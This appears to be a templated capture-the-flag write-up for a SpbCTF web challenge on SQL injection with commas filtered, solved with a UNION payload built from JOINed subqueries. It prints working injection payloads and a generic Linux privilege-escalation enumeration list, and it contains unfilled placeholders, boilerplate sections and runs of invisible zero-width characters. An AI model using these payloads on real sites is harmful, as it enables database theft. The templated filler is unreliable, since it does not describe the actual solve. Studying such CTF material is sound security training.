Dead or alive 6

Platform: Spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: commaless_union_injection, join_comma_bypass

Summary

Task: SQL injection with comma character filtered. Solution: Use JOIN technique to bypass comma filter - each subquery returns one column and JOIN combines them without commas.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: spbctf | ID: 20260309_webkids20_websql_bypass6
• Tags: waf_bypass, sqli, mysql, union_injection, comma_bypass
• Indicators: comma character filtered, UNION SELECT blocked due to commas, multiple columns needed without comma
• Source: 20260309_webkids20_websql_bypass6.md

Foothold

Vulnerability / Misconfiguration

1. commaless_union_injection
2. join_comma_bypass

 bash read-only • copy allowed Copy
<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed Copy
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

 bash read-only • copy allowed Copy
<command>

Flags

Key Takeaways / Lessons

• commaless_union_injection
• join_comma_bypass
• Tags: waf_bypass, sqli, mysql, union_injection, comma_bypass

Original Writeup

<details><summary>Click to expand original content</summary>

Description

SQL injection bypass challenge. URL: http://kslweb1.spb.ctf.su/sqli/bypass6/

Comma character is filtered, preventing standard UNION SELECT with multiple columns.

Analysis

Standard UNION SELECT requires commas to enumerate columns:

 sql read-only • copy allowed Copy
UNION SELECT 1, 2, 3, flag FROM secret_table

When the comma is filtered, an alternative method is needed to create multiple columns.

Solution

JOIN technique for comma bypass

Each subquery in parentheses returns one column. JOIN combines them without using commas: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 sql read-only • copy allowed Copy
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c

This is equivalent to UNION SELECT 1, 2, 3, but without commas.

Payload structure

 sql read-only • copy allowed Copy
UNION SELECT * FROM 
    (SELECT 1)a 
    JOIN (SELECT 2)b 
    JOIN (SELECT flag FROM secret_table)c

Where:

• (SELECT 1)a — subquery with alias a, returns a column with value 1
• JOIN — combines results without commas
• Number of JOINs must match the number of columns in the original query minus 1

Final payload

 sql read-only • copy allowed Copy
' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT flag FROM secret_table)c--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

signed by XESXOR